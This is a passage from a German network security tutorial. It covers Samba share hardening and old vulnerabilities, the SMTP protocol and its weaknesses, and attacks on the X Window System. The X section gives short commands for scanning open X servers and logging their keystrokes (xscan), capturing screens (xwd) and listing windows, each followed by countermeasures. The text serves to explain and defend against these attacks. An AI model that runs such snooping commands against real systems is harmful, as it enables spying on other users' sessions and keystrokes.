publiziert. In diesem Falle wäre das komplette Verzichten von passwortgeschützten Freigaben wohl nicht das wirklich richtige, denn vielerorts müssen solche Realisationen für den komfortablen Datenaustausch einfach herhalten. Dafür sollten unbedingt starke Passwörter Verwendung finden, die möglichst oft - am besten etwa alle 60 bis 90 Tage - gewechselt werden, und sonst nirgends in ihrer Form zum Einsatz kommen. Dadurch will man verhindern, dass ein Angreifer, wenn er einmal im Besitz eines Passworts für eine Share ist, auch auf andere solche oder Systeme mit dem Wissen um jenes zugreifen kann. Die Samba-Suite für UNIX-Derivate
beherbergt einige Möglichkeiten, die die Sicherheit von Samba-Shares
einfach konfigurieren lässt:
Wie so oft, so geht jedoch beim Nutzen der Samba-Suite auf UNIX-Systemen eine gewisse Gefahr von demselbigen aus. So findet sich zum Beispiel eine Verwundbarkeit der bei vielen Linux Distributionen, darunter Red Hat, Caldera und TurboLinux, mitgelieferten binären Version von wsmbconf, welche mit gid root installiert wird, und für jeden ausführbar ist. Benutzer können diesen Fehler ausnutzen um die Lese-/Schreibrechte der Gruppe root zu erhalten, wie im Artikel der Bugtraq-Mailingliste am 19. November 1998 berichtet wurde. Ein separater Artikel für die Caldera-Distribution folgte einen Tag später vom Caldera-Support. Desweiteren existiert für smbd 2.0.1 ein Root-Exploit unter dem Namen smb_mount.c. Bugfixes für löchrige Samba-Suiten finden sich in Vendor Bulletin 97.10 und Information Bulletin H-110 vom CERT und Advisory vom 23.07.1999 von Red Hat. SMTP (Simple Mail Transfer Protocol) Die Aufgabe des Simple Mail Transfer Protocol (SMTP) besteht im effektiven und effizienten Zustellen von elektronischer Post (E-Mails). SMTP ist ein eigenstaendiger Teil der Übertragungsschicht und benötigt nur einen zuverlässigen geordneten Kanal fuer die Daten-Übetragung. Ein wichtiges Feature von SMTP ist die Möglichkeit E-Mails in Netzwerkumgebungen (IPCE: Interprocess communication environment) zuzustellen. Netzwerke, Subnetze und Rechner gelten als IPCE. Es ist wichtig zu realisieren, dass ein solches Transportsystem (oder IPCE) nicht direkt mit anderen Netzwerken verbunden sein muss. Ein Prozess kann unter Umständen direkt mit einem anderen Prozess in einem IPCE kommunizieren. Mail definiert sich selbst als Kommunikation zwischen Prozessen verschiedenster IPCEs, indem die Nachricht dadurch übermittelt wird, dass zwei (oder mehr) IPCEs zueinander eine Verbindung aufbauen. Besser spezifiziert kann Mail dazu genutzt werden, um Daten in lesbarer Form durch differente Transportsysteme zu einem Host zu senden. Das SMTP-Modell Das SMTP-Design basiert auf dem nun folgend erklärten Modell der Kommunikation: Als das Resultat des Nutzen des Mail-Dienstes laesst sich der Sender durch einen zweiwege Datenkanal mit dem Empfänger verbinden. Dieser Empfänger kann die ultimative Destination oder nur eine Zwischenstation sein. Die SMTP-Kommandos werden am sendenden Rechensystem erzeugt und zum Empfaenger geschickt. Rückmeldungen darauf erfolgen vom empfangenden Host zum Sender. Wurde die Verbindung zwischen den involvierten Systemen hergestellt, so schickt der Sender das MAIL-Kommando, um den Absender der Botschaft zu definieren. Falls der Empfaenger im Gutfall den korrekten Erhalt dieser Definition bestaetigen kann, so quittiert er mit einer OK-Meldung. Danach schickt der Sender das RCPT-Kommando um den endgültigen Empfänger der Nachricht zu bestimmen. Wiederum bestaetigt der Empfänger den korrekten Erhalt mit einer OK-Meldung; falls keine solche ausgegeben werden darf, so wird der Sender abgewiesen, was jedoch nicht den kompletten Abbruch der ganzen Aktion zur Folge hat. Die beiden Rechensysteme wiederholen in gleichem Masse diese Aktion(en), falls mehrere Empfaenger hinzugefuegt werden sollen. Danach werden vom Sender die Daten des Mails uebertragen. Diese Uebertragung wird mit einer speziellen Sequenz beendet. Hat der Empfaenger die Daten in korrekter Weise erhalten, so antwortet er mit der ueblichen OK-Meldung. Dieser Dialog kann in Einzelschritten oder als ganzes durchgefuehrt werden.
,----------.
,----------.
Sendender
Empfangender
SMTP stellt den Mechanismus zur Verfuegung, der fuer die Uebertragung des Mails zustaendig ist; direkt vom sendenden System zum empfangenden System, wenn beide Rechner den gleichen Transportservice zu nutzen pflegen, oder ueber zwei oder mehr Relay-Server auf SMTP-Basis verbunden sind und nicht den gleichen Transportservice nutzen. Um die Weiterleitungs-Funktionalitaet der Relay-Server korrekt gewaehrleisten zu koennen, muss beim Versand der Nachricht die endgueltige Destination eindeutig als Name des zu erreichenden Hosts oder Mailbox gekennzeichnet werden. Als Argument zum MAIL-Kommando wird reverse-path genannt und der Absender eingetragen, von jenem die zu verschickende Mail stammt. Das Argument des RCPT-Befehls wird forward-path genannt und der Empfaenger eingetragen, welcher die zu verschickende Mail erhalten soll. Der forward-path ist die Source-Route, waehrend der reverse- path die Return-Route ist (welche eventuell dazu genutzt wird, um dem Sender eine Fehlermeldung zukommen zu lassen, falls Komplikationen waehrend des Transfers aufgetreten sein sollten). Wird die Nachricht an mehrere Empfaenger geschickt, so werden die Daten nur einmalig zum Empfaenger uebertragen. Die Mail-Kommandos mit ihren Syntax und die darauf folgenden Antworten sind eindeutig definiert. Die Antworten haben zusaetzlich einen nummerischen Code. Im folgenden Beispiel werden jene moeglichst realitaetsbezogen benutzt. Die komplette Liste der Spezifikationen der Kommandos und Antworten finden sich in Abschnitt ueber die Spezifikationen. Die Befehle und Antworten ignorieren Gross-/Kleinschreibung. Somit kann ein Kommando oder Antwort grundsaetzlich mit Grossbuchstaben, Kleinbuchstaben oder einem Mix daraus geschrieben werden. Wichtig: Diese Regelung gilt nicht fuer Usernamen der Mailboxen. Einige Hosts unterscheiden hier. Hostnamen selber unterliegen auch nicht einer definierten Gross-/Kleinschreibung. Die Kommandos und Antworten werden mit dem ASCII-Zeichensatz ausgegeben. Falls ein Transport-Service eine Coderung durch einen 8-bit Byte (octet) gestuetzten Kanal unterstuetzt, so wird jedes 7-bit Zeichen in ein Oktet mit dem hoeherwertigen Bit konvertiert, und der Rest mit Nullen aufgefuellt (Padding). Waehrend der Spezifizierung der generellen Argumente (oder spezielle Symbole) von Kommandos oder Antworten wird eine meta-linguistische Variable (oder Konstante), zum Beispiel "<string>" oder "<reverse-path>", genutzt. Hierbei gelten die Groesser als-/Kleiner als-Zeichen als diese besagten meta-linguistischen Sonderzeichen. Wie auch immer, diese Symbole werden nur literarisch gebraucht. Zum Beispiel wird der eigentliche reverse-path in den besagten Symbolen geschrieben (z.B. "<marc.ruef@computec.ch>"). Die SMTP-Prozedur Dieser Abschnitt praesentiert die Prozedur von SMTP in einzelnen Teilen. Als erstes wird die normale Mail-Prozedur einer Mail-Transaktion definiert. Folgend eine Beschreibung des Weiterleitens von Mail-Nachrichten, Verifizieren von Mailbox-Namen und Expandieren von Mail-Listen, senden an mehrere Empfaenger und das Oeffnen und Schliessen eines Nachrichten-Austausch. Am Ende des Kapitels werden die Eigenschaften des Weiterleitens, Notierung von Mail-Domaenen und eine Diskussion ueber den Wechsel abgehandelt. In diesem Kapitel werden durchwegs Beispiele der Kommandos und Antwort-Sequenzen gege ben. Eine Mail-Transaktion ueber SMTP findet in drei Schritten statt. Die Uebertragung wird mit dem Kommando MAIL initiiert, welches den Sender identifiziert. Eine Serie von einem oder mehreren RCPT-Kommandos folgt, um die Informationen ueber die Empfaenger zu uebermitteln. Danach wird das DATA-Kommando genutzt, um die Mail-Daten bekanntzugeben. Und zum Schluss konfermiert der Sender die korrekte Transaktion. Der erste Schritt der ganzen Prozedur ist das MAIL-Kommando. Der <reverse-path> beeinhaltet den Namen der Mailbox des Senders. MAIL <SP> FROM:<reverse-path> <CRLF> Diese Eingabe sagt dem direkten Nachrichten-Empfaenger, dass eine neue Mail-Transaktion gestertet wird und resettet auf jenem automatisch alle Tables und Buffers, inklusive jeder Eingabe bezueglich Empfaenger oder Mail-Daten. Zusaetzlich wird der reverse-path definiert, welcher fuer Fehlermeldungen benutzt wird. Falls die Eingabe akzeptiert wurde, so findet eine Bestaetigung mit "250 OK" statt. Der Parameter <reverse-path> kann mehr als nur einen Mailbox-Namen enthalten; auch koennen ganze Listen von Hosts oder Quell-Mailboxen definiert werden. Der erste Eintrag dieses Parameters sollte jedoch dem sendenden Host gezollt werden. Der zweite Schritt der Prozedur legt sich im Nutzen des RCPT-Kommandos nieder: RCPT <SP> TO:<forward-path> <CRLF> Dieser Befehl gibt den forward-path bekannt, und identifiziert somit einen ersten Empfaenger. Falls die Eingabe akzeptiert wurde, so erhaelt der Sender eine "250 OK"-Rueckmeldung, und der forward-path wird gespeichert. Falls der Empfaenger unbekannt ist, so wird eine Fehlermeldung mit dem Error-Code 550 ausgegeben. Dieser zweite Schritt kann mehrere Male wiederholt werden, um mehrere Empfaenger zu definieren. Der <forward-path> kann wiederum mehr enthalten, als nur eine Mailbox. Es koennen ganze Listen von Destinationen angegeben werden. Der erste Eintrag von <forward-path> sollte jedoch jenem System gelten, dass das Kommando empfaengt. Der dritte Schritt gestaltet sich im Nutzen des DATA-Kommandos. DATA <CRLF> Falls die Eingabe in ihrer Weise akzeptiert wurde, so schickt der empfangende Rechner eine Meldung in Form des Statuscodes 354 zurueck und verarbeitet alle empfangenen Text-Zeilen. Wird das Ende des Textes erreicht, so schickt der Empfaenger die uebliche OK-Meldung zurueck. Wurden die Mail-Daten uebertragen, so muss das Ende dieser Transaktion definiert werden, so dass eine korrekte Verarbeitung der Daten und die noetige Rueckmeldung erfolgen kann. SMTP spezifiziert diese Definition des Transaktions-Ende durch einen einzelnen Punkt auf einer separaten Linie. Dadurch wird eine gewisse Transparenz gewahrt, und nicht irrtuemlich der Body des E-Mails (negativ) beeinflusst (siehe Sektion 4.5.2). Es muss darauf geachtet werden, dass zu den Mail-Daten auch die Informationen im Header, wie das Datum, Subject, To, Cc und From, gehoeren. Der Schlussindikator in Form des Punktes bestaetigt die Mail-Transaktion und sagt dem empfangenden Host, dass nun der Prozess des Speicherns des Mail-Headers und -Bodies vorgenommen werden kann. Wurden die Eingaben vom Empfaenger akzeptiert, so retourniert er die gewohnte OK-Meldung. Das DATA-Kommando bricht gegebenenfalls die Transaktion ab, falls zum Beispiel keine Empfaenger definiert wurden oder nicht genuegend Ressourcen verfuegbar sind. Die oben verdeutlichte Prozedur ist ein Beispiel fuer eine normale Mail-Transaktion. Diese Kommandos muessen genau in der dokumentierten Reihenfolge genutzt werden. Beispiel (unten) illustriert das Nutzen dieser Kommandos waehrend einer Mail-Transaktion. Dieses SMTP-Beispiel verdeutlicht das Senden eines Mails von Marc Ruef am Host computec.ch zu den Herren Senn, Suter und Abt am Host inode.ch. Hierbei wird die Kommunikation von Host computec.ch zu Host biodata.ch aufegabut. S: MAIL FROM:<marc.ruef@computec.ch>
S: RCPT TO:<d.senn@biodata.ch>
S: RCPT TO:<p.suter@biodata.ch>
S: RCPT TO:<b.abt@biodata.ch>
S: DATA
Die elektronische Nachricht wurde fuer Herrn Senn und Abt akzeptiert. Herr Suter besitzt auf dem besagten System biodata.ch keine Mailbox. Weiterleitung In einigen Faellen sind die Destinations-Informationen in der Zeile des <forward-path> inkorrekt, aber der Empfaenger kennt das korrekte Ziel. In diesem Falle erhaelt der Sender eine der folgenden Berichtigungen. 251 User not local; will forward to <forward-path> Diese Rueckmeldung indiziert, dass der Empfaenger weiss, dass die Mailbox des Anwenders sich auf einem anderen Rechner befindet. Gleichzeitig wird die korrekte Destination ausgegeben, um jene in Zukunft nutzbar zu machen. Achtung: Der Host oder Benutzer oder beides kann absolut different sein. Nach dem Ausgeben dieser Meldung ist der Empfaenger fuer das Zustellen der Nachricht zustaendig. 551 User not local; please try <forward-path> Diese Rueckmeldung verdeutlicht, dass der Empfaenger weiss, dass sich die Mailbox des Users auf einem anderen Host befinden koennte und verweist dadurch auf jenen. Achtung: Der Host oder Benutzer oder beides kann absolut different sein. Der Empfaenger setzt die Verbindung nach dem Ausgeben dieser Nachricht und einer eventuellen Fehlermeldung zurueck. Beispiel 2 illustriert das Nutzen dieser Rueckmeldungen: Entweder S: RCPT TO:<marc.ruef@computec.ch>
Oder S: RCPT TO:<marc.ruef@computec.ch>
Verifizieren und Expandieren SMTP stellt weitere Zusatzfunktionen zur Verfuegung, wie zum Beispiel das Kommando, um einen Benutzernamen oder eine Mailing-Liste automatisch zu vervollstaendigen. Dies geschieht mit dem VRFY- und EXPN-Kommando, welche charakteristische String-Kommandos zulassen. Fuer VRFY ist jenes der Benutzername, wobei das Ziel eine Expandierung zum kompletten Namen des Benutzers und seiner Mailbox ist. EXPN identifiziert eine Mailing-Liste, und die multilineare Antwort enthaelt die kompletten Benutzernamen und dazugehoerigen Mailboxen der Mailing-Liste. "User name" ist ein Beispielbegriff. Falls ein Host der Implementierung der beiden Kommandos VRFY und EXPN unterzogen wurde, so wurden die lokalen Mailboxen mit den Benutzernamen definiert. Falls der Administrator eines Host es wuenscht, so koennen auch andere Prefixe fuer den Namen der Mailbox genutzt werden. Einige Hosts werden keinen grossen Unterschied zwischen der Anwahl einer Mailingliste oder eines einzelnen Accounts machen, da die Datenstruktur bei beiden Typen identisch als Eintraege vorgefunden werden. Wird der Antrag zur Verifizierung einer Mailingliste gestellt, so wird eine positive Antwort ausgestellt. Im Schlechtfall teilt der Host die noetige Fehlermeldung (z.B. "505 That is a user name, not a mailing list") dem Sender mit. Sollte ein Antwort mehr als eine Zeile in Anspruch nehmen (ist beim EXPN-Befehl meistens der Fall), so wird fuer jede Mailbox eine separate Linie genutzt. Falls eine Eingabe als Rueckmeldung theoretisch mehrere Antworten ausgeben koennte (z.B. bei "VRFY Mueller"), so erhaelt der Sender die Fehlermeldung "553 User ambiguous". Die Verifizierung eines Benutzernamens wird detailliert im Beispiel 3 versucht zu verdeutlichen: Entweder S: VRFY Ruef
Oder S: VRFY Ruef
Oder S: VRFY Ruef
Oder S: VRFY Ruef
Oder S: VRFY Ruef
Im Falle des Expandierens einer Mailingliste werden multiple Antworten ausgegeben, wie dem Beispiel 4 entnommen werden kann. Entweder S: EXPN Hackers
Oder S: EXPN Crackers
Der Syntax fuer die Kommandos VRFY und EXPN koennen restriktiven Aenderungen unterliegen, sofern jene bei der Implementierung vorgesehen und vorgenommen wurden. Auf einigen Systemen kann fuer das korrekte Nutzen der Komplettierung einer Mailingliste die Angabe einer Datei noetig sein, die die jeweiligen Empfaenger beinhaltet; in jenem Falle muss sich jedoch an die offiziellen Dateikonventionen gehalten werden. Die Kommandos VRFY und EXPN sind nicht in der minimal Implementierung enthalten (Sektion 4.5.1), und nicht fuer das ausgiebige Nutzen von Mail-Relays noetig. Senden und Mailen Die Hauptaufgabe von SMTP besteht im Zustellen von Mails an die Mailbox eines Benutzers. Ein vergleichbarer Service wird bei einigen Hosts angeboten, der das Zustellen von Nachrichten auf dem Terminal eines Anwenders ermoeglicht (noetigerweise muss der User aktiv am Host verbleiben). Das Zustellen einer Mail an die Mailbox eines Benutzers wird "Mailen" (engl. "mailing") genannt. Das Zustellen einer Nachricht auf das Terminal eines Benutzers nennt man "Senden" (engl. "sending"). Da bei einigen Hosts die Implementierung dieser beiden differenten Funktionen nahezu identisch vorgenommen wurde, werden beide in SMTP kombiniert. Die Sending-Kommandos sind bei der Minimal-Implementierung nicht zwingend notwaendig (Sektion 4.5.1). Benutzer sollten das Recht haben, Nachrichten direkt an ihrem Terminal verfassen zu duerfen. Die meisten Hosts bieten diesen Service an. Die folgenden drei Kommandos werden definiert um die Sendeoptionen bestimmen zu koennen. Sie werden waehrend einer Mail-Transaktion nach dem MAIL-Kommando angewendet: SEND <SP> FROM:<reverse-path> <CRLF> Das SEND-Kommando erzwingt, dass die Mail-Daten an das Terminal des Benutzers uebermittel werden. Falls der User auf dem System nicht aktiv ist (oder den Empfang von Nachrichten nicht zulaesst), so erhaelt der Sender nach der Eingabe des RCPT-Kommandos eine 450-Rueckmeldung. Die Mail-Transaktion ist vollstaendig erfolgreich abgeschlossen, sobald die Nachricht beim Terminal abgegeben wurde. SOML <SP> FROM:<reverse-path> <CRLF> Das SOML-Kommando ("Send Or MaiL") erzwingt, dass die Mail-Daten an das Terminal des Benutzers uebermittel werden. Falls der User auf dem System nicht aktiv ist (oder den Empfang von Nachrichten nicht zulaesst), so werden die Daten in die Mailbox des empfangenden Users geschrieben. Die Transaktion ist vollstaendig erfolgreich abgeschlossen, sobald die Nachricht beim Terminal oder der Mailbox abgegeben wurde. SAML <SP> FROM:<reverse-path> <CRLF> Das SAML-Kommando ("Send And MaiL") erzwingt, dass die Mail-Daten an das Terminal des Benutzers uebermittelt wurde, falls er aktiv am Host anzutreffen ist (und den Empfang von Nachrichten auf seinem Terminal aktiviert hat). Zusaetzlich werden die Informationen in der Mailbox des Empfaengers abgespeichert. Die Transaktion ist vollstaendig erfolgreich abgeschlossen, sobald die Nachricht bei der Mailbox abgegeben wurde. Die gleichen Reply-Codes welche beim MAIL-Kommando zum Zuge kommen, werden auch bei diesen Eingaben Verwendung finden. Oeffnen und Schliessen In jenem Augenblick, in welchem der Uebrtragungs-Kanal geoeffnet wird, findet eine Kommunikation zwischen zwei Hosts statt, die jeweils von der Authentitaet des Gegenuebers ueberzeugt sind. Die folgenden beiden Kommandos werden genutzt um den besagten Kommunikations-Kanal zu oeffnen und zu schliessen: HELO <SP> <domain> <CRLF> QUIT <CRLF> Zusammen mit dem HELO-Kommando identifiziert sich der Sender; das Kommando kann so interpretiert werden, als ob der Sender sagen wuerde "Hallo, ich bin <domain>": R: 220 swissonline.ch Simple Mail Transfer
Service Ready
S: QUIT
Relaying Der forward-path kann als Ursprungs-Route in der Form "@kryptocrew.de,@swissonline.ch:marc.ruef@computec.ch", wobei @kryptocrew.de, @swissonline.ch und marc.ruef@computec.ch insgesamt drei Hosts spezifizieren. Diese Form wird daher genutzt, um einen Unterschied zwischen Adresse und Route zu schaffen. Die Mailbox ist eine absolute Adresse, und die Route ist die Information, wie die Nachricht dorthin gelangen soll. Diese beiden Konzepte sollten nicht durcheinandergebracht werden. - Lokales Netz --- Das ungeschützte Internet ---------
Lokales Netz ----------
E-Mails passieren in der Regel einige SMTP-Gateways, bevor das endgültige und vorgesehene Ziel erreicht wird. Folgend nun der Auszug des Headers einer Mail, die an mich geschickt wurde: Received: from relay03.cablecom.net (relay03.cablecom.net [62.2.33.103])
Diese Nachricht passierte von ihrem Weg von Neuseeland in die Schweiz zu meinem privaten SMTP-Server ganze drei Rechner:
Deutlich wird die Einfachheit des Protokolls beim Betrachten einer Sitzung, in der folgende Kommandos genutzt werden können (Die offiziellen Spezifikationen und genauen Bedeutungen der einzelnen Kommandos von SMTP finden sich ganzheitlich in RFC 821.): DATA - Mit diesem Befehl wird dem Server mitgeteilt, dass nun der Text für den Textkörper der E-Mail folgen. Quittiert wird diese Aktion mittels eines separaten Punktes auf einer einzelnen Linie.
Die Sicherheit Wie die ausgeschriebenen Lettern des Akronyms SMTP, nämlich Simple Mail Transfer Protocol), schon erahnen lassen, so ist dieses Protokoll sehr simpel und primitiv aufgebaut. Das SMTP verlangt keinerlei verschlüsselte Authentifizierung des Users beim Nutzen des Dienstes. Die gemachten Anfragen und Angaben auf Seiten des Clients werden somit per 7-Bit ASCII-Klartext übermittelt und nicht auf deren Richtigkeit und Möglichkeit einer Vortäuschung oder Manipulation hin untersucht; genau definiert werden sie in RFC 2554. So kann man zum Beispiel einem vermeindlichen Webserver eine Anfrage auf den SMTP-Port schicken, wobei durchaus im Gutfall ein korrektes Ausführen der danach folgenden Anfragen möglich wird. Das schlimmste kann einfach sein, dass der SMTP-Server die Anfrage verweigert. Der bekannteste Daemon ist Sendmail, der wegen seines grossen Programmcodes und der sich darin befindlichen Komplexität einige Sicherheitslücken an den Tag zu legen pflegt. Zudem ist SMTP die Basis für MIME- und Postscriptangriffe, das Einschleusen von Viren und trojanischen Pferden. Die Sicherheit kann nur duch Verschlüsselung oder elektronischen Unterschriften gewährleistet werden. Dies bedeutet, dass die Quelle von E-Mails durch SMTP ohne Verschlüsselungs-Prozedur niemals für Dritte eindeutig ausmachbar ist, und alle Angaben theoretisch auch erfunden oder verfälscht worden sein könnten. Um somit Vertrauen in den Mail-Verkehr zu bringen, wird auf bekannte Produkte wie PGP gesetzt, wobei nur beim Verwenden von starken Verschlüsselungen der Nutzer einigermassen sicher sein kann, dass keine negativen Einflüsse von Aussen den Verkehr beeinträchtigen können. Wie so oft, wenn Daten und ausführbare Programme von extern auf ein System eingeschleust werden, können mögliche Schäden durch das Scannen der Software auf Viren eingedämmt oder gar verhindert werden. Dies könnte zum Beispiel in einem LAN ein Application Level SMTP-Proxy machen, der den gesamten Mail-Verkehr on-the-fly auf korrupten Programmcode überprüft. Solche SMTP-Proxies arbeiten nicht benutzerorientiert und nach dem sogenannten store-and-forward-Prinzip. Dieses Verfahren weist eine deutliche Analogie zu einem Sammelbriefkasten auf:
------- ,-------.
--------
Eine einkommende Mail wird von einem SMTP-Proxy auf Port 25 entgegengenommen und nach einer sehr mageren Überprüfung des Absenders (IP-Adresse und Rechnername des Mail-Servers) auf dem Application Gateway in einem speziellen Verzeichnis abgelegt. Der SMTP-Daemon prüft periodisch, ob Mails eingegangen sind und auf ihre Weiterverarbeitung warten. Der MTA (Mail Transfer Agent) stellt dem Adressaten die Mail direkt oder über mehrere MTAs zu. Der SMTP-Proxy verhindert somit, dass der MTA direkt vom unsicheren Netz angesprochen werden kann. Ein SMTP-Proxy verarbeitet nur folgende Befehle, da sie nicht sicherheitskritisch ingestuft werden:
Durch einen separaten eigenen SMTP-Daemon würde der Performance-Verlust bei den Clients wegfallen, und der Mail-Verkehr würde nicht unnötig und merklich behindert und verlangsamt werden. Einen deutlichen Performance-Gewinn, jedoch Grimmigkeit der User wird durch das automatische Entfernen aller Anhänge in Mails herbeigeführt. Mein Devise ist immer: "Mir soll niemand etwas schicken - Ich hole es mir selber, wenn ich es brauche." Dieser Grundsatz ist in der Arbeitswelt leider nicht durchführbar, da man nur allzuoft auf modifizierte Daten von externer Stelle angewiesen ist. Ausserdem wird im Logbuch des Application Gateways durch den SMTP-Proxy und den MTA folgende Protokolldaten festgehalten, die zur weiteren Analyse sehr hilfreich sein können:
X-Window-System Das X-Window-System wurde vom MIT (Massachusetts Institute of Technology) zur Steuerung einer grafischen Benutzeroberfläche mit Fenstertechnik entwickelt und wird in RFC 1013 (X Window System Protocol, Version 11) definiert. Zusätzliche und etwas weniger technischere Informationen finden sich im RFC 1198 (FYI on the X Window System). Aus der Perspektive von TCP/IP ist das X-Window-System ein Nachrichtenprotokoll für die Kommunikation zwischen einem X-Server und einem X-Client. MIT behält sich das Copyright vor, stimmt aber einer Verfielfältigung zu, solange das Copyright anerkannt wird (GPL - General Public License). Andere Aspekte von X-Window-System sind nicht als RFCs publiziert worden, können aber vom MIT-X-Konsortium bezogen werden. Es scheint, als ob mit dem X-Window-System die Grenze zwischen Kommunikationsprotokoll und Benutzeroberfläche fliessend geworden schien. Dem ist jedoch nicht so, wie bei genauer Einsicht von RFC 1013 (X Window System Protocol, Version 11) bemerkt wird. Das Request for Comments beschreibt lediglich das Protokoll für die Kommunikation zwischen Server und Client. Der Stil der Ausgabe wird von anderen Standarts bestimmt: In der Regel von OSF/Motif, das von der Open Software Foundation Inc. unterstützt wird, oder Open Look von AT&T. Das Verhältnis zwischen Client und Server ist bei X-Window etwas anders ausgelegt, als bei sonstigen TCP/IP-Standarts. Der Server ist in der Regel beim Arbeitsplatz angesiedelt und der Client beim Host. Der X-Server steuert die Ausgabe des Terminals und zeichnet als Antwort auf Nachrichten des X-Clients grafische Objekte und Text. Er liefert ausserdem Informationen über Benutzeraktionen am X-Client, die davon betroffen sind. Weil ein System mit Fenstertechnik gleichzeitig mehrere Ausgaben von Anwendungen und Hosts anzeigt, sollte jeder Bildschirm einen Fenster-Manager haben, der die Konstruktion aller grafischen Objekte auf dem Bildschirm überwacht. Durch den Fenstermanager wird auch der individuelle Stil implementiert. Er zeichnet, steuert und aktualisiert als Reaktion auf die Eingaben des Benutzers die Ausgabe. Als Fenster-Manager für einen X-Window-Server kann jede Grafik-Schnittstelle dienen, die entsprechend konfigurierbar ist. Microsoft Windows ist erst im Nachhinein für diese Funktion angepasst worden. Das X-Terminal Das X-Terminal ist ansich eine Implementierung des X-Servers, über das die Ausgaben von X-Window angezeigt werden. Es führt keine Anwendungen (X-Clients) aus. Alle Ausgabe-Anforderungen werden über die Netzanbindung empfangen. Einige X-Terminals sind so modifiziert worden, dass mit SLIP oder PPP über Modem-Verbindungen gearbeitet werden kann. Da besonders ältere Modemverbindungen an eine verhältnismässig geringen Geschwindigkeit festhalten, werden für das Arbeiten über Telefonnetze eine ganze Reihe von Methoden zur Datenkomprimierung angeboten. Belohnt wird der Benutzer mit einem brauchbaren, wenn auch schwerfälligem Ausgabesystem. Wo immer es möglich ist, sollten für X-Terminals möglichst schnelle Leitungen verwendet werden. Mindestens eine ISDN-Anbindung mit 64 Kbps ist von Nöten, um einen angenehmen Betrieb zu gewährleisten. Die Verwaltung des X-Window-Systems Grafikanwendungen, insbesondere Bitmap-Grafiken ohne Kompression, stellen nicht nur an den darstellenden Computer, sondern auch an das zur Übertragung bestimmte Netzwerk sehr hohe Anforderungen. Die ersten X-Terminals arbeiteten mit einem entfernten, Host-basierenden Fenster-Manager, der in den Standarts spezifiziert ist. Bei einer solchen Implementierung erzeugt jede Eingabe des Benutzers ein Datenaufkommen im Netz: Jede Mausbewegung, jeder Tastendruck wurde übermittelt. Das Protokoll von X-Window-System verwendet zudem zuverlässige TCP-Verbindungen zwischen Server und Clients: Jedes übermittelte Datensegment wird einzeln quittiert, so dass das Datenaufkommen fast verdoppelt wird. Wenn das Protokoll auf ein für diesen Zweck reserviertes LAN-Segment beschränkt ist, wird dieses Datenaufkommen kaum problematisch sein. Wenn solche Realisierungen jedoch über Brücken- oder Routenverbindungen kommunizieren müssen, sollte spätestens eine Abschätzung nach der Messung des Datenaufkommens zum Überdenken des Konzepts anregen. Netzauslastung sollten genau geplant werden, um das zu erwartende Datenaufkommen angemessen bewältigen zu können. Einige der jüngeren Implementierungen von X-Terminals verwenden einen lokalen Fenster-Manager und vermeiden damit einen grossen Teil des Datenaufkommens. Mit den Performance-Verbesserungen von TCP durch spezifische Einstellungen lässt sich die Leistungsfähigkeit eines interaktiven Protokolls wie X-Window-System nicht so gut verbessern, wie mit dem auf hohe Datenaufkommen ausgelegten File Transfer Protokoll. Angriffe auf das X-Window-System Ein Hauptproblem dieser Lösung ist das schlecht skalierbare Sicherheitsmodell, das entweder alles oder nichts zulässt. Hat ein Client erst einmal Zugriff auf einen X-Sever, hat er Kontrolle wie jeder andere zugelassene Benutzer. Die meisten Probleme entstehen im Besonderen beim Zusammenhang mit X durch schwache Zugangskontrollen, Unachtsamkeiten oder Programmierfehler. Der X-Scanner-Angriff Die einfachste und beliebteste Art der X-Zugriffskontrolle ist die Beglaubigung mit xhost. Dieser Mechanismus steuert die Authentifizierung über die IP-Adresse und stellt die schwächste Form der X-Beglaubigung dar. Oft geben Systemverwalter aus Gründer der Bequemlichkeit xhost + ein, und geben damit den unbeglaubigten Zugriff auf den X-Server für alle Benutzer frei (+ ist in diesem Zusammenhang ein Wildcard-Zeichen für "alle"). Noch viel schlimmer ist, dass viele X-Server xhost + von den Benutzern unbemerkt als Standarteinstellung setzen. Eines der beliebtesten Programme zur Identifizierung eines X-Servers mit aktiviertem xhost + ist xscan. Dieses Utility sucht komplette Teilnetze nach offenen X-Servern ab und schreib alle Tastaturfolgen in eine Protokolldatei namens KEYLOGhostname:0.0: mruef@prometheus:~ > xscan zion
mruef@prometheus:~ > tail -f KEYLOGzion:0.0
Seien sie unter keinen Umständen so faul und bemächtigen sich der Eingabe von xhost +. Wenn Sie Zweifel haben, geben Sie lieber xhost - ein. Dadurch werden keine bestehenden Verbindungen gelöscht, sondern nur künftige unterbunden. Wenn Sie einen Fernzugriff auf den X-Server zulassen wollen oder müssen, dann bestimmen sie möglichst eindeutig anhand der individuellen IP-Adresse. Andere Sicherheitsmassnahmen kann das Nutzen von komplexeren Beglaubigungsmechanismen wie MIT-MAGIC-COOKIE-1, XDM-AUTHORISATION-1 oder MIT_KERBEROS-5 sein. Diese Mechanismen bieten zusätzliche und zuverlässigere Sicherheitsmassnahmen. Schliesslich sollten die Ports 6000 bis 6063 durch ein Firewall-System vor grundsätzlich unerlaubten Verbindungen, zum Beispiel aus dem WAN oder Internet, geschützt werden. Der xhost-Angriff Auch wenn xhost - am Zielserver aktiviert wurde, wird ein Angreifer unter Umständen mit der Hilfe von xwd einen Schirm aus der Sitzung des Konsolenbenutzers abgreifern können. Voraussetzungen hierzu sind jedoch Zugang zur lokalen Shell und eine standartmässige xhost-Beglaubigung am Ziel. mruef@prometheus:~ > xwd -root localhost:0.0 >> dump.xwd Um den abgefangenen Schirm anzuzeigen, muss eine Kopie der Datei auf das eigene System mit xwud erzeugt werden: mruef@prometheus:~ > xwud -in dump.xwd Das X-Keyboard-Sniffing Mit Programmen wie xkey und seinen Derivaten können alle Tastatureingaben einer X-Window-Session unter Angabe der Window-ID von Personen mit Zugriff auf den betreffenden Host verfolgt und aufgezeichnet werden. Zusätzlich können alle Window-Attribute der aktiven Fenster mittels XQueryTree()-Aufruf in Erfahrung gebracht werden. Darüber hinaus können sogar Keyboardeingaben, sogenannte KeySym-Events, an jedes Fenster, inklusive Xterm, versendet werden, als ob die Eingabe direkt von der lokalen Tastatur aus erfolgte. Das Keyboard-Sniffing des Xterm-Fensters kann verhindert werden, indem die Option XGrabKeyboard im Main-Options-Menü des Xterm-Fensters genutzt wird. Dadurch wird verhindert, dass andere Prozesse die KeySyms der Xterm-Session empfangen können. Die Remote-Einsicht Für Angreifer ist sehr einfach, beliebige Fenster einzusehen, die am Ziel-System dargestellt werden. Der Angreifer muss als erstes die Hex-ID des Fensters feststellen, indem er den Befehl xlswins eingibt: mruef@prometheus:~ > xlswins -display zion:0.0 | grep -i netscape
